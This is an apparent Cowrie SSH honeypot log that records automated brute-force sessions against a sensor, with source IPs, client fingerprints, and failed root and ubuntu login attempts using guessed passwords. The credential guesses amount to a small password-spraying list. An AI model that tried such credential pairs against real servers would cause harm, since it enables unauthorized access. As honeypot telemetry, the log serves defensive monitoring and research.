{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:34.706095Z","src_ip":"5.196.136.131","session":"19f83d8dab26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:34.942814Z","src_ip":"5.196.136.131","session":"19f83d8dab26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:36.022607Z","src_ip":"5.196.136.131","session":"19f83d8dab26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56898,"dst_ip":"159.203.135.109","dst_port":22,"session":"21826a1e4ead","protocol":"ssh","message":"New connection: 103.153.68.219:56898 (159.203.135.109:22) [session: 21826a1e4ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:36.280971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:36.284642Z","src_ip":"103.153.68.219","session":"21826a1e4ead","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:36.527921Z","src_ip":"103.153.68.219","session":"21826a1e4ead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danila12","message":"login attempt [root/danila12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:37.253818Z","src_ip":"103.153.68.219","session":"21826a1e4ead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:38.498421Z","src_ip":"103.153.68.219","session":"21826a1e4ead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":34243,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a3b2d0cd09c","protocol":"ssh","message":"New connection: 5.196.136.131:34243 (10.17.0.5:22) [session: 9a3b2d0cd09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:38.953667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:38.957285Z","src_ip":"5.196.136.131","session":"9a3b2d0cd09c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:39.033302Z","src_ip":"5.196.136.131","session":"9a3b2d0cd09c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:39.264195Z","src_ip":"5.196.136.131","session":"9a3b2d0cd09c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:40.343363Z","src_ip":"5.196.136.131","session":"9a3b2d0cd09c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":45875,"dst_ip":"10.17.0.5","dst_port":22,"session":"c944617392c2","protocol":"ssh","message":"New connection: 5.196.136.131:45875 (10.17.0.5:22) [session: c944617392c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:43.372426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:43.376377Z","src_ip":"5.196.136.131","session":"c944617392c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:43.459829Z","src_ip":"5.196.136.131","session":"c944617392c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:43.705472Z","src_ip":"5.196.136.131","session":"c944617392c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:44.789526Z","src_ip":"5.196.136.131","session":"c944617392c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":40780,"dst_ip":"10.17.0.5","dst_port":22,"session":"e512b52f454e","protocol":"ssh","message":"New connection: 5.196.136.131:40780 (10.17.0.5:22) [session: e512b52f454e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:47.812649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:47.816262Z","src_ip":"5.196.136.131","session":"e512b52f454e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:47.893679Z","src_ip":"5.196.136.131","session":"e512b52f454e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:48.126373Z","src_ip":"5.196.136.131","session":"e512b52f454e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.154.74.205","src_port":47612,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce01e5184667","protocol":"ssh","message":"New connection: 122.154.74.205:47612 (10.17.0.5:22) [session: ce01e5184667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:49.096416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:49.100180Z","src_ip":"122.154.74.205","session":"ce01e5184667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:49.205237Z","src_ip":"5.196.136.131","session":"e512b52f454e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:49.345211Z","src_ip":"122.154.74.205","session":"ce01e5184667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2023#","message":"login attempt [root/unitedstates2023#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:50.070912Z","src_ip":"122.154.74.205","session":"ce01e5184667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:51.313044Z","src_ip":"122.154.74.205","session":"ce01e5184667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":19282,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dfcf65edc8c","protocol":"ssh","message":"New connection: 5.196.136.131:19282 (10.17.0.5:22) [session: 2dfcf65edc8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:52.200321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:52.203844Z","src_ip":"5.196.136.131","session":"2dfcf65edc8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:52.290906Z","src_ip":"5.196.136.131","session":"2dfcf65edc8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:52.551219Z","src_ip":"5.196.136.131","session":"2dfcf65edc8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:53.640978Z","src_ip":"5.196.136.131","session":"2dfcf65edc8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38116,"dst_ip":"159.203.135.109","dst_port":22,"session":"64749ba56f27","protocol":"ssh","message":"New connection: 103.176.20.57:38116 (159.203.135.109:22) [session: 64749ba56f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:56.259167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:56.265755Z","src_ip":"103.176.20.57","session":"64749ba56f27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:56.512534Z","src_ip":"103.176.20.57","session":"64749ba56f27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":47658,"dst_ip":"10.17.0.5","dst_port":22,"session":"dab6fc1e2fbc","protocol":"ssh","message":"New connection: 5.196.136.131:47658 (10.17.0.5:22) [session: dab6fc1e2fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:56.626796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:56.630368Z","src_ip":"5.196.136.131","session":"dab6fc1e2fbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:56.706414Z","src_ip":"5.196.136.131","session":"dab6fc1e2fbc","protocol":"ssh"}
